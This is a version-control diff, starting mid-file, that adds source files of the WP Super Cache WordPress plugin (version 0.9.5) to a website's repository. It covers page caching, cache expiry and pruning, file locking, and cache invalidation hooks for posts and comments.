+	}
+	return $cache_key;
+}
+
+function wp_cache_debug( $message ) {
+	global $wp_cache_debug;
+	if( !isset( $wp_cache_debug ) )
+		return;
+	$message .= "\n\nDisable these emails by commenting out or deleting the line containing\n\$wp_cache_debug in wp-content/wp-cache-config.php on your server.\n";
+	mail( $wp_cache_debug, '[' . addslashes( $_SERVER[ 'HTTP_HOST' ] ) . "] WP Super Cache Debug", $message );
+}
+
+function wp_cache_user_agent_is_rejected() {
+	global $cache_rejected_user_agent;
+
+	if (!function_exists('apache_request_headers')) return false;
+	$headers = apache_request_headers();
+	if (!isset($headers["User-Agent"])) return false;
+	foreach ($cache_rejected_user_agent as $expr) {
+		if (strlen($expr) > 0 && stristr($headers["User-Agent"], $expr))
+			return true;
+	}
+	return false;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-phase2.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-phase2.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache-phase2.php	(revision 44)
@@ -0,0 +1,689 @@
+<?php
+
+function wp_cache_phase2() {
+	global $cache_filename, $cache_acceptable_files, $wp_cache_gzip_encoding, $super_cache_enabled, $cache_rebuild_files, $wp_cache_gmt_offset, $wp_cache_blog_charset, $wp_cache_last_gc;
+	global $cache_max_time, $wp_cache_not_logged_in, $wp_cache_request_uri;
+
+	$wp_cache_gmt_offset   = get_option( 'gmt_offset' ); // caching for later use when wpdb is gone. http://wordpress.org/support/topic/224349
+	$wp_cache_blog_charset = get_option( 'blog_charset' );
+
+	wp_cache_mutex_init();
+	if(function_exists('add_action') && ( !defined( 'WPLOCKDOWN' ) || ( defined( 'WPLOCKDOWN' ) && constant( 'WPLOCKDOWN' ) == '0' ) ) ) {
+		// Post ID is received
+		add_action('publish_post', 'wp_cache_post_edit', 0);
+		add_action('edit_post', 'wp_cache_post_change', 0); // leaving a comment called edit_post
+		add_action('delete_post', 'wp_cache_post_edit', 0);
+		add_action('publish_phone', 'wp_cache_post_edit', 0);
+		// Coment ID is received
+		add_action('trackback_post', 'wp_cache_get_postid_from_comment', 99);
+		add_action('pingback_post', 'wp_cache_get_postid_from_comment', 99);
+		add_action('comment_post', 'wp_cache_get_postid_from_comment', 99);
+		add_action('edit_comment', 'wp_cache_get_postid_from_comment', 99);
+		add_action('wp_set_comment_status', 'wp_cache_get_postid_from_comment', 99);
+		// No post_id is available
+		add_action('delete_comment', 'wp_cache_no_postid', 99);
+		add_action('switch_theme', 'wp_cache_no_postid', 99); 
+		add_action('edit_user_profile_update', 'wp_cache_no_postid', 99); 
+
+		add_action('wp_cache_gc','wp_cache_gc_cron');
+
+		do_cacheaction( 'add_cacheaction' );
+	}
+
+	if( $wp_cache_not_logged_in && is_user_logged_in() )
+		return false;
+
+	if( $_SERVER["REQUEST_METHOD"] == 'POST' || get_option('gzipcompression')) 
+		return false;
+	$script = basename($_SERVER['PHP_SELF']);
+	if (!in_array($script, $cache_acceptable_files) && wp_cache_is_rejected($wp_cache_request_uri))
+		return false;
+	if (wp_cache_user_agent_is_rejected()) return;
+	if($wp_cache_gzip_encoding)
+		header('Vary: Accept-Encoding, Cookie');
+	else
+		header('Vary: Cookie');
+	ob_start( 'wp_cache_ob_callback' ); 
+
+	// restore old supercache file temporarily
+	if( $super_cache_enabled && $cache_rebuild_files ) {
+		$user_info = wp_cache_get_cookies_values();
+		$do_cache = apply_filters( 'do_createsupercache', $user_info );
+		if( $user_info == '' || $do_cache === true ) {
+			$dir = get_current_url_supercache_dir();
+			$files_to_check = array( $dir . 'index.html', $dir . 'index.html.gz' );
+			foreach( $files_to_check as $cache_file ) {
+				if( !@file_exists( $cache_file . '.needs-rebuild' ) )
+					continue;
+				$mtime = @filemtime($cache_file . '.needs-rebuild');
+				if( $mtime && (time() - $mtime) < 30 ) {
+					@rename( $cache_file . '.needs-rebuild', $cache_file );
+				}
+				// cleanup old files or if rename fails
+				if( @file_exists( $cache_file . '.needs-rebuild' ) ) {
+					@unlink( $cache_file . '.needs-rebuild' );
+				}
+			}
+		}
+	}
+
+	if( !isset( $cache_max_time ) )
+		$cache_max_time = 600;
+	$last_gc = get_option( "wpsupercache_gc_time" );
+
+	if( !$last_gc ) {
+		update_option( 'wpsupercache_gc_time', time() );
+	}
+	$next_gc = $cache_max_time < 1800 ? $cache_max_time : 600;
+	if( $last_gc < ( time() - $next_gc ) ) {
+		update_option( 'wpsupercache_gc_time', time() );
+
+		global $wp_cache_shutdown_gc;
+		if( !isset( $wp_cache_shutdown_gc ) || $wp_cache_shutdown_gc == 0 ) {
+			if(!wp_next_scheduled('wp_cache_gc')) wp_schedule_single_event(time() + 10 , 'wp_cache_gc');
+		} else {
+			global $time_to_gc_cache;
+			$time_to_gc_cache = 1; // tell the "shutdown gc" to run!
+		}
+	}
+}
+
+function wp_cache_get_response_headers() {
+	if(function_exists('apache_response_headers')) {
+		flush();
+		$headers = apache_response_headers();
+	} else if(function_exists('headers_list')) {
+		$headers = array();
+		foreach(headers_list() as $hdr) {
+			list($header_name, $header_value) = explode(': ', $hdr, 2);
+			$headers[$header_name] = $header_value;
+		}
+	} else
+		$headers = null;
+
+	return $headers;
+}
+
+function wp_cache_is_rejected($uri) {
+	global $cache_rejected_uri;
+
+	$auto_rejected = array( '/wp-admin/', 'xmlrpc.php', 'wp-app.php' );
+	foreach( $auto_rejected as $u ) {
+		if( strstr( $uri, $u ) )
+			return true; // we don't allow caching of wp-admin for security reasons
+	}
+	foreach ($cache_rejected_uri as $expr) {
+		if( $expr != '' && preg_match( "~$expr~", $uri ) )
+			return true;
+	}
+	return false;
+}
+
+function wp_cache_mutex_init() {
+	global $use_flock, $mutex, $cache_path, $mutex_filename, $sem_id, $blog_cache_dir;
+
+	if(!is_bool($use_flock)) {
+		if(function_exists('sem_get')) 
+			$use_flock = false;
+		else
+			$use_flock = true;
+	}
+
+	$mutex = false;
+	if ($use_flock) 
+		$mutex = @fopen($blog_cache_dir . $mutex_filename, 'w');
+	else
+		$mutex = @sem_get($sem_id, 1, 0644 | IPC_CREAT, 1);
+}
+
+function wp_cache_writers_entry() {
+	global $use_flock, $mutex, $cache_path, $mutex_filename, $wp_cache_mutex_disabled;
+
+	if( isset( $wp_cache_mutex_disabled ) && $wp_cache_mutex_disabled )
+		return true;
+
+	if( !$mutex )
+		return false;
+
+	if ($use_flock)
+		flock($mutex,  LOCK_EX);
+	else
+		sem_acquire($mutex);
+
+	return true;
+}
+
+function wp_cache_writers_exit() {
+	global $use_flock, $mutex, $cache_path, $mutex_filename, $wp_cache_mutex_disabled;
+
+	if( isset( $wp_cache_mutex_disabled ) && $wp_cache_mutex_disabled )
+		return true;
+
+	if( !$mutex )
+		return false;
+
+	if ($use_flock)
+		flock($mutex,  LOCK_UN);
+	else
+		sem_release($mutex);
+}
+
+function get_current_url_supercache_dir() {
+	global $cached_direct_pages, $cache_path, $wp_cache_request_uri;
+	$uri = preg_replace('/[ <>\'\"\r\n\t\(\)]/', '', str_replace( '/index.php', '/', str_replace( '..', '', preg_replace("/(\?.*)?$/", '', $wp_cache_request_uri ) ) ) );
+	$uri = str_replace( '\\', '', $uri );
+	$dir = strtolower(preg_replace('/:.*$/', '',  $_SERVER["HTTP_HOST"])) . $uri; // To avoid XSS attacks
+	$dir = apply_filters( 'supercache_dir', $dir );
+	$dir = trailingslashit( $cache_path . 'supercache/' . $dir );
+	if( is_array( $cached_direct_pages ) && in_array( $_SERVER[ 'REQUEST_URI' ], $cached_direct_pages ) ) {
+		$dir = trailingslashit( ABSPATH . $uri );
+	}
+	$dir = str_replace( '//', '/', $dir );
+	return $dir;
+}
+
+function wp_cache_ob_callback( $buffer ) {
+	if( defined( 'DONOTCACHEPAGE' ) )
+		return $buffer;
+	$buffer = &wp_cache_get_ob( $buffer );
+	wp_cache_shutdown_callback();
+	return $buffer;
+}
+
+
+function wp_cache_get_ob(&$buffer) {
+	global $cache_path, $cache_filename, $meta_file, $wp_start_time, $supercachedir;
+	global $new_cache, $wp_cache_meta, $file_expired, $blog_id, $cache_compression;
+	global $wp_cache_gzip_encoding, $super_cache_enabled, $cached_direct_pages;
+	global $wp_cache_404, $gzsize, $supercacheonly, $wp_cache_gzip_first, $wp_cache_gmt_offset;
+	global $blog_cache_dir, $wp_cache_request_uri;
+
+	$new_cache = true;
+	$wp_cache_meta = '';
+
+	/* Mode paranoic, check for closing tags 
+	 * we avoid caching incomplete files */
+	if( $wp_cache_404 ) {
+		$new_cache = false;
+		$buffer .= "\n<!-- Page not cached by WP Super Cache. 404. -->\n";
+	}
+
+	if (!preg_match('/(<\/html>|<\/rss>|<\/feed>)/i',$buffer) ) {
+		$new_cache = false;
+		if( false === strpos( $_SERVER[ 'REQUEST_URI' ], 'robots.txt' ) )
+			$buffer .= "\n<!-- Page not cached by WP Super Cache. No closing HTML tag. Check your theme. -->\n";
+	}
+	
+	if( !$new_cache )
+		return $buffer;
+
+	$duration = wp_cache_microtime_diff($wp_start_time, microtime());
+	$duration = sprintf("%0.3f", $duration);
+	$buffer .= "\n<!-- Dynamic page generated in $duration seconds. -->\n";
+
+	if( !wp_cache_writers_entry() ) {
+		$buffer .= "\n<!-- Page not cached by WP Super Cache. Could not get mutex lock. -->\n";
+		return $buffer;
+	}
+
+	//if( !((!$file_expired && $mtime) || ($mtime && $file_expired && (time() - $mtime) < 5)) ) {
+		$dir = get_current_url_supercache_dir();
+		$supercachedir = $cache_path . 'supercache/' . preg_replace('/:.*$/', '',  $_SERVER["HTTP_HOST"]);
+		if( !empty( $_GET ) || is_feed() || ( $super_cache_enabled == true && is_dir( substr( $supercachedir, 0, -1 ) . '.disabled' ) ) )
+			$super_cache_enabled = false;
+
+		$tmp_wpcache_filename = $cache_path . uniqid( mt_rand(), true ) . '.tmp';
+
+		// Don't create wp-cache files for anon users
+		$supercacheonly = false;
+		if( $super_cache_enabled && wp_cache_get_cookies_values() == '' )
+			$supercacheonly = true;
+
+		if( !$supercacheonly ) {
+			if ( !@file_exists( $blog_cache_dir . $cache_filename ) || ( @file_exists( $blog_cache_dir . $cache_filename ) && ( time() - @filemtime( $blog_cache_dir . $cache_filename ) ) > 5 ) ) {
+				$fr = @fopen($tmp_wpcache_filename, 'w');
+				if (!$fr) {
+					$buffer .= "<!-- File not cached! Super Cache Couldn't write to: " . str_replace( ABSPATH, '', $cache_path ) . $cache_filename . " -->\n";
+					return $buffer;
+				}
+			}
+		}
+		if( $super_cache_enabled ) {
+			$user_info = wp_cache_get_cookies_values();
+			$do_cache = apply_filters( 'do_createsupercache', $user_info );
+			if( $user_info == '' || $do_cache === true ) {
+
+				if( @is_dir( $dir ) == false )
+					@wp_mkdir_p( $dir );
+
+				$cache_fname = "{$dir}index.html";
+				$tmp_cache_filename = $dir . uniqid( mt_rand(), true ) . '.tmp';
+				if ( !@file_exists( $cache_fname ) || ( @file_exists( $cache_fname ) && ( time() - @filemtime( $blog_cache_dir . $cache_filename ) ) > 5 ) ) {
+					$fr2 = @fopen( $tmp_cache_filename, 'w' );
+					if (!$fr2) {
+						$buffer .= "<!-- File not cached! Super Cache Couldn't write to: " . str_replace( ABSPATH, '', $tmp_cache_filename ) . " -->\n";
+						@fclose( $fr );
+						@unlink( $tmp_wpcache_filename );
+						return $buffer;
+					} elseif( $cache_compression ) {
+						$gz = @fopen( $tmp_cache_filename . ".gz", 'w');
+						if (!$gz) {
+							$buffer .= "<!-- File not cached! Super Cache Couldn't write to: " . str_replace( ABSPATH, '', $tmp_cache_filename ) . ".gz -->\n";
+							@fclose( $fr );
+							@unlink( $tmp_wpcache_filename );
+							@fclose( $fr2 );
+							@unlink( $tmp_cache_filename );
+							return $buffer;
+						}
+					}
+				}
+			}
+		}
+
+		if (preg_match('/<!--mclude|<!--mfunc/', $buffer)) { //Dynamic content
+			$store = preg_replace('|<!--mclude (.*?)-->(.*?)<!--/mclude-->|is', 
+					"<!--mclude-->\n<?php include_once('" . ABSPATH . "$1'); ?>\n<!--/mclude-->", $buffer);
+			$store = preg_replace('|<!--mfunc (.*?)-->(.*?)<!--/mfunc-->|is', 
+					"<!--mfunc-->\n<?php $1 ;?>\n<!--/mfunc-->", $store);
+			$store = apply_filters( 'wpsupercache_buffer', $store );
+			$wp_cache_meta[ 'dynamic' ] = true;
+			/* Clean function calls in tag */
+			$buffer = preg_replace('|<!--mclude (.*?)-->|is', '<!--mclude-->', $buffer);
+			$buffer = preg_replace('|<!--mfunc (.*?)-->|is', '<!--mfunc-->', $buffer);
+			if( $fr )
+				fputs($fr, $store);
+			if( $fr2 )
+				fputs($fr2, $store . '<!-- super cache -->' );
+			if( $gz )
+				fputs($gz, gzencode( $store . '<!-- super cache gz -->', 1, FORCE_GZIP ) );
+		} else {
+			$buffer = apply_filters( 'wpsupercache_buffer', $buffer );
+			$buffer .= "<!-- Cached page generated by WP-Super-Cache on " . gmdate('Y-m-d H:i:s', (time() + ( $wp_cache_gmt_offset * 3600)))  . " -->\n";
+
+			if( $gz || $wp_cache_gzip_encoding ) {
+				$gzdata = gzencode( $buffer . "<!-- Compression = gzip -->", 3, FORCE_GZIP );
+				$gzsize = strlen($gzdata);
+			}
+			if ($wp_cache_gzip_encoding) {
+				$wp_cache_meta[ 'headers' ][ 'Content-Encoding' ] = 'Content-Encoding: ' . $wp_cache_gzip_encoding;
+				$wp_cache_meta[ 'headers' ][ 'Vary' ] = 'Vary: Accept-Encoding, Cookie';
+				// Return uncompressed data & store compressed for later use
+				if( $fr )
+					fputs($fr, $gzdata);
+			} else { // no compression
+				$wp_cache_meta[ 'headers' ][ 'Vary' ] = 'Vary: Cookie';
+				if( $fr )
+					fputs($fr, $buffer);
+			}
+			if( $fr2 )
+				fputs($fr2, $buffer . '<!-- super cache -->' );
+			if( $gz )
+				fwrite($gz, $gzdata );
+			$buffer .= $log;
+		}
+		$new_cache = true;
+		if( $fr ) {
+			$supercacheonly = false;
+			fclose($fr);
+			if( !rename( $tmp_wpcache_filename, $blog_cache_dir . $cache_filename ) ) {
+				unlink( $blog_cache_dir . $cache_filename );
+				rename( $tmp_wpcache_filename, $blog_cache_dir . $cache_filename );
+			}
+		}
+		if( $fr2 ) {
+			fclose($fr2);
+			if( !@rename( $tmp_cache_filename, $cache_fname ) ) {
+				@unlink( $cache_fname );
+				@rename( $tmp_cache_filename, $cache_fname );
+			}
+		}
+		if( $gz ) {
+			fclose($gz);
+			if( !@rename( $tmp_cache_filename . '.gz', $cache_fname . '.gz' ) ) {
+				@unlink( $cache_fname . '.gz' );
+				@rename( $tmp_cache_filename . '.gz', $cache_fname . '.gz' );
+			}
+		}
+	//}
+	wp_cache_writers_exit();
+	if ( !headers_sent() && isset( $wp_cache_gzip_first ) && 1 == $wp_cache_gzip_first && $wp_cache_gzip_encoding && $gzdata) {
+		header( 'Content-Encoding: ' . $wp_cache_gzip_encoding );
+		header( 'Vary: Accept-Encoding, Cookie' );
+		header( 'Content-Length: ' . $gzsize );
+		return $gzdata;
+	} else {
+		return $buffer;
+	}
+}
+
+function wp_cache_phase2_clean_cache($file_prefix) {
+	global $cache_path, $blog_cache_dir;
+
+	if( !wp_cache_writers_entry() )
+		return false;
+	if ( ( $handle = @opendir( $blog_cache_dir ) ) ) { 
+		while ( false !== ($file = @readdir($handle))) {
+			if ( preg_match("/^$file_prefix/", $file) )
+				@unlink( $blog_cache_dir . $file );
+		}
+		closedir($handle);
+	}
+	wp_cache_writers_exit();
+}
+
+function prune_super_cache( $directory, $force = false, $rename = false ) {
+	global $cache_max_time, $cache_path, $super_cache_enabled, $cache_rebuild_files, $blog_cache_dir;
+
+	if( !is_admin() && $super_cache_enabled == 0 )
+		return false;
+
+	if( !isset( $cache_max_time ) )
+		$cache_max_time = 3600;
+
+	$now = time();
+
+	$protected_directories = array( $cache_path . '.htaccess', $cache_path . $blog_cache_dir . 'meta', $cache_path . 'supercache' );
+
+	$oktodelete = false;
+	if (is_dir($directory)) {
+		if( $dh = @opendir( $directory ) ) {
+			$directory = trailingslashit( $directory );
+			while( ( $entry = @readdir( $dh ) ) !== false ) {
+				if ($entry == '.' || $entry == '..')
+					continue;
+				$entry = $directory . $entry;
+				prune_super_cache( $entry, $force, $rename );
+				// If entry is a directory, AND it's not a protected one, AND we're either forcing the delete, OR the file is out of date, 
+				if( is_dir( $entry ) && !in_array( $entry, $protected_directories ) && ( $force || @filemtime( $entry ) + $cache_max_time <= $now ) ) {
+					// if the directory isn't empty can't delete it
+					if( $handle = @opendir( $entry ) ) {
+						$donotdelete = false;
+						while( !$donotdelete && ( $file = @readdir( $handle ) ) !== false ) {
+							if ($file == '.' || $file == '..')
+								continue;
+							$donotdelete = true;
+						}
+						closedir($handle);
+					}
+					if( $donotdelete )
+						continue;
+					if( !$rename )
+						@rmdir( $entry );
+				}
+			}
+			closedir($dh);
+		}
+	} elseif( is_file($directory) && ($force || @filemtime( $directory ) + $cache_max_time <= $now ) ) {
+		$oktodelete = true;
+		if( in_array( $directory, $protected_directories ) )
+			$oktodelete = false;
+		if( $oktodelete && !$rename ) {
+			@unlink( $directory );
+		} elseif( $oktodelete && $rename ) {
+			wp_cache_rebuild_or_delete( $directory );
+		}
+	}
+}
+
+function wp_cache_rebuild_or_delete( $file ) {
+	global $cache_rebuild_files;
+	if( strpos( $file, '?' ) !== false )
+		$file = substr( $file, 0, strpos( $file, '?' ) );
+	if( $cache_rebuild_files && substr( $file, -14 ) != '.needs-rebuild' ) {
+		if( @rename($file, $file . '.needs-rebuild') ) {
+			@touch( $file . '.needs-rebuild' );
+		} else {
+			@unlink( $file );
+		}
+	} else {
+		@unlink( $file );
+	}
+}
+
+function wp_cache_phase2_clean_expired($file_prefix) {
+	global $cache_path, $cache_max_time, $blog_cache_dir;
+
+	clearstatcache();
+	if( !wp_cache_writers_entry() )
+		return false;
+	$now = time();
+	if ( ( $handle = @opendir( $blog_cache_dir ) ) ) { 
+		while ( false !== ($file = readdir($handle))) {
+			if ( preg_match("/^$file_prefix/", $file) && 
+				(@filemtime( $blog_cache_dir . $file) + $cache_max_time) <= $now  ) {
+				@unlink( $blog_cache_dir . $file );
+				@unlink( $blog_cache_dir . 'meta/' . str_replace( '.html', '.meta', $file ) );
+				continue;
+			}
+			if($file != '.' && $file != '..') {
+				if( is_dir( $blog_cache_dir . $file ) == false && (@filemtime($blog_cache_dir . $file) + $cache_max_time) <= $now  ) {
+					if( substr( $file, -9 ) != '.htaccess' )
+						@unlink($blog_cache_dir . $file);
+				}
+			}
+		}
+		closedir($handle);
+		prune_super_cache( $cache_path . 'supercache' );
+	}
+
+	wp_cache_writers_exit();
+	return true;
+}
+
+function wp_cache_shutdown_callback() {
+	global $cache_path, $cache_max_time, $file_expired, $file_prefix, $meta_file, $new_cache, $wp_cache_meta, $known_headers, $blog_id, $wp_cache_gzip_encoding, $gzsize, $cache_filename, $supercacheonly, $blog_cache_dir;
+	global $wp_cache_blog_charset, $wp_cache_request_uri;
+
+	$wp_cache_meta[ 'uri' ] = $_SERVER["SERVER_NAME"].preg_replace('/[ <>\'\"\r\n\t\(\)]/', '', $wp_cache_request_uri); // To avoid XSS attacks
+	$wp_cache_meta[ 'blog_id' ] = $blog_id;
+	$wp_cache_meta[ 'post' ] = wp_cache_post_id();
+
+	$response = wp_cache_get_response_headers();
+	foreach ($known_headers as $key) {
+		if(isset($response[$key])) {
+			$wp_cache_meta[ 'headers' ][ $key ] = "$key: " . $response[$key];
+		}
+	}
+	if (!isset( $response['Last-Modified'] )) {
+		$value = gmdate('D, d M Y H:i:s') . ' GMT';
+		/* Dont send this the first time */
+		/* @header('Last-Modified: ' . $value); */
+		$wp_cache_meta[ 'headers' ][ 'Last-Modified' ] = "Last-Modified: $value";
+	}
+	if (!$response['Content-Type'] && !$response['Content-type']) {
+		// On some systems, headers set by PHP can't be fetched from
+		// the output buffer. This is a last ditch effort to set the
+		// correct Content-Type header for feeds, if we didn't see
+		// it in the response headers already. -- dougal
+		if (is_feed()) {
+			$type = get_query_var('feed');
+			$type = str_replace('/','',$type);
+			switch ($type) {
+				case 'atom':
+					$value = "application/atom+xml";
+					break;
+				case 'rdf':
+					$value = "application/rdf+xml";
+					break;
+				case 'rss':
+				case 'rss2':
+				default:
+					$value = "application/rss+xml";
+			}
+		} else { // not a feed
+			$value = get_option( 'html_type' );
+			if( $value == '' )
+				$value = 'text/html';
+		}
+		$value .=  "; charset=\"" . $wp_cache_blog_charset . "\"";
+
+		@header("Content-Type: $value");
+		$wp_cache_meta[ 'headers' ][ 'Content-Type' ] = "Content-Type: $value";
+	}
+
+	if ( ! $supercacheonly && $new_cache ) {
+		if( $wp_cache_gzip_encoding && !in_array( 'Content-Encoding: ' . $wp_cache_gzip_encoding, $wp_cache_meta[ 'headers' ] ) ) {
+			$wp_cache_meta[ 'headers' ][ 'Content-Encoding' ] = 'Content-Encoding: ' . $wp_cache_gzip_encoding;
+			$wp_cache_meta[ 'headers' ][ 'Vary' ] = 'Vary: Accept-Encoding, Cookie';
+		}
+
+		$serial = serialize($wp_cache_meta);
+		if( wp_cache_writers_entry() ) {
+			$tmp_meta_filename = $blog_cache_dir . 'meta/' . uniqid( mt_rand(), true ) . '.tmp';
+			$fr = @fopen( $tmp_meta_filename, 'w');
+			if( !$fr )
+				@mkdir( $blog_cache_dir . 'meta' );
+			$fr = fopen( $tmp_meta_filename, 'w');
+			fputs($fr, $serial);
+			fclose($fr);
+			@chmod( $tmp_meta_filename, 0666 & ~umask());
+			if( !@rename( $tmp_meta_filename, $blog_cache_dir . 'meta/' . $meta_file ) ) {
+				unlink( $blog_cache_dir . 'meta/' . $meta_file );
+				rename( $tmp_meta_filename, $blog_cache_dir . 'meta/' . $meta_file );
+			}
+			wp_cache_writers_exit();
+		}
+	}
+	global $time_to_gc_cache;
+	if( isset( $time_to_gc_cache ) && $time_to_gc_cache == 1 )
+		do_action( 'wp_cache_gc' );
+}
+
+function wp_cache_no_postid($id) {
+	return wp_cache_post_change(wp_cache_post_id());
+}
+
+function wp_cache_get_postid_from_comment($comment_id) {
+	global $super_cache_enabled, $wp_cache_request_uri;
+	$comment = get_comment($comment_id, ARRAY_A);
+	$postid = $comment['comment_post_ID'];
+	// Do nothing if comment is not moderated
+	// http://ocaoimh.ie/2006/12/05/caching-wordpress-with-wp-cache-in-a-spam-filled-world
+	if( !preg_match('/wp-admin\//', $wp_cache_request_uri) ) 
+		if( $comment['comment_approved'] == 'spam' ) { // changed from 1 to "spam"
+			return $postid;
+		} elseif( $comment['comment_approved'] == '0' ) {
+			$super_cache_enabled = 0; // don't remove the super cache static file until comment is approved
+		}
+	// We must check it up again due to WP bugs calling two different actions
+	// for delete, for example both wp_set_comment_status and delete_comment 
+	// are called when deleting a comment
+	if ($postid > 0) 
+		return wp_cache_post_change($postid);
+	else 
+		return wp_cache_post_change(wp_cache_post_id());
+}
+
+function wp_cache_post_edit($post_id) {
+	global $wp_cache_clear_on_post_edit, $cache_path, $blog_cache_dir;
+	if( $wp_cache_clear_on_post_edit ) {
+		prune_super_cache( $blog_cache_dir, true );
+		prune_super_cache( $cache_path . 'supercache/', true );
+	} else {
+		wp_cache_post_change( $post_id );
+	}
+}
+
+function wp_cache_post_id_gc( $siteurl, $post_id ) {
+	global $cache_path;
+	
+	$post_id = intval( $post_id );
+	if( $post_id == 0 )
+		return;
+
+	$permalink = trailingslashit( str_replace( get_option( 'home' ), '', post_permalink( $post_id ) ) );
+	$dir = $cache_path . 'supercache/' . $siteurl;
+	prune_super_cache( $dir . $permalink, true, true );
+	@rmdir( $dir . $permalink );
+	prune_super_cache( $dir . 'page/', true );
+}
+
+function wp_cache_post_change($post_id) {
+	global $file_prefix, $cache_path, $blog_id, $super_cache_enabled, $blog_cache_dir, $blogcacheid;
+	static $last_processed = -1;
+
+	if ($post_id == $last_processed) return $post_id;
+	$last_processed = $post_id;
+	if( !wp_cache_writers_entry() )
+		return $post_id;
+
+	$permalink = trailingslashit( str_replace( get_option( 'siteurl' ), '', post_permalink( $post_id ) ) );
+	if( $super_cache_enabled ) {
+		$siteurl = trailingslashit( strtolower( preg_replace( '/:.*$/', '', str_replace( 'http://', '', get_option( 'home' ) ) ) ) );
+		// make sure the front page has a rebuild file
+		prune_super_cache( $cache_path . 'supercache/' . $siteurl . 'index.html', true, true ); 
+		prune_super_cache( $cache_path . 'supercache/' . $siteurl . 'index.html.gz', true, true );
+		wp_cache_post_id_gc( $siteurl, $post_id );
+		if( get_option( 'show_on_front' ) == 'page' ) {
+			wp_cache_post_id_gc( $siteurl, get_option( 'page_on_front' ) );
+			wp_cache_post_id_gc( $siteurl, get_option( 'page_for_posts' ) );
+		}
+	}
+
+	$matches = array();
+	if ( ($handle = @opendir( $blog_cache_dir . 'meta/' )) ) { 
+		while ( false !== ($file = readdir($handle))) {
+			if ( preg_match("/^({$file_prefix}{$blogcacheid}.*)\.meta/", $file, $matches) ) {
+				$meta_pathname = $blog_cache_dir . 'meta/' . $file;
+				$content_pathname = $blog_cache_dir . $matches[1] . ".html";
+				$meta = unserialize(@file_get_contents($meta_pathname));
+				if( false == is_array( $meta ) ) {
+					@unlink($meta_pathname);
+					@unlink($content_pathname);
+					continue;
+				}
+				if ($post_id > 0 && $meta) {
+					if ($meta[ 'blog_id' ] == $blog_id  && (!$meta[ 'post' ] || $meta[ 'post' ] == $post_id) ) {
+						@unlink($meta_pathname);
+						@unlink($content_pathname);
+						@wp_cache_rebuild_or_delete($cache_path . 'supercache/' . trailingslashit( $meta[ 'uri' ] ) . 'index.html');
+						@wp_cache_rebuild_or_delete($cache_path . 'supercache/' . trailingslashit( $meta[ 'uri' ] ) . 'index.html.gz');
+					}
+				} elseif ($meta[ 'blog_id' ] == $blog_id) {
+					@unlink($meta_pathname);
+					@unlink($content_pathname);
+					@wp_cache_rebuild_or_delete($cache_path . 'supercache/' . trailingslashit( $meta[ 'uri' ] ) . 'index.html');
+					@wp_cache_rebuild_or_delete($cache_path . 'supercache/' . trailingslashit( $meta[ 'uri' ] ) . 'index.html.gz');
+				}
+
+			}
+		}
+		closedir($handle);
+	}
+	wp_cache_writers_exit();
+	return $post_id;
+}
+
+function wp_cache_microtime_diff($a, $b) {
+	list($a_dec, $a_sec) = explode(' ', $a);
+	list($b_dec, $b_sec) = explode(' ', $b);
+	return $b_sec - $a_sec + $b_dec - $a_dec;
+}
+
+function wp_cache_post_id() {
+	global $posts, $comment_post_ID, $post_ID;
+	// We try hard all options. More frequent first.
+	if ($post_ID > 0 ) return $post_ID;
+	if ($comment_post_ID > 0 )  return $comment_post_ID;
+	if (is_single() || is_page()) return $posts[0]->ID;
+	if (isset( $_GET[ 'p' ] ) && $_GET['p'] > 0) return $_GET['p'];
+	if (isset( $_POST[ 'p' ] ) && $_POST['p'] > 0) return $_POST['p'];
+	return 0;
+}
+
+function wp_cache_gc_cron() {
+	global $file_prefix, $cache_max_time;
+
+	if( !isset( $cache_max_time ) )
+		$cache_max_time = 600;
+
+	$start = time();
+	if( !wp_cache_phase2_clean_expired($file_prefix ) ) {
+		wp_cache_debug( 'Cache Expiry cron job failed. Probably mutex locked.' );
+		update_option( 'wpsupercache_gc_time', time() - ( $cache_max_time - 10 ) ); // if GC failed then run it again in one minute
+	}
+	if( time() - $start > 30 )
+		wp_cache_debug( "Cache Expiry cron job took more than 30 seconds to execute.\nYou should reduce the Expiry Time in the WP Super Cache admin page\nas you probably have more cache files than your server can handle efficiently." );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/wp-cache.php	(revision 44)
@@ -0,0 +1,1486 @@
+<?php
+/*
+Plugin Name: WP Super Cache
+Plugin URI: http://ocaoimh.ie/wp-super-cache/
+Description: Very fast caching plugin for WordPress.
+Version: 0.9.5
+Author: Donncha O Caoimh
+Author URI: http://ocaoimh.ie/
+*/
+
+/*  Copyright 2005-2006  Ricardo Galli Granada  (email : gallir@uib.es)
+    Some code copyright 2007-2008 Donncha O Caoimh (http://ocaoimh.ie/)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+// Pre-2.6 compatibility
+if( !defined('WP_CONTENT_URL') )
+	define( 'WP_CONTENT_URL', get_option('siteurl') . '/wp-content');
+if( !defined('WP_CONTENT_DIR') )
+	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
+
+$wp_cache_config_file = WP_CONTENT_DIR . '/wp-cache-config.php';
+
+if( !@include($wp_cache_config_file) ) {
+	get_wpcachehome();
+	$wp_cache_config_file_sample = WPCACHEHOME . 'wp-cache-config-sample.php';
+	@include($wp_cache_config_file_sample);
+} else {
+	get_wpcachehome();
+}
+
+$wp_cache_config_file_sample = WPCACHEHOME . 'wp-cache-config-sample.php';
+$wp_cache_link = WP_CONTENT_DIR . '/advanced-cache.php';
+$wp_cache_file = WPCACHEHOME . 'advanced-cache.php';
+
+include(WPCACHEHOME . 'wp-cache-base.php');
+
+
+// from legolas558 d0t users dot sf dot net at http://www.php.net/is_writable
+function is_writeable_ACLSafe($path) {
+
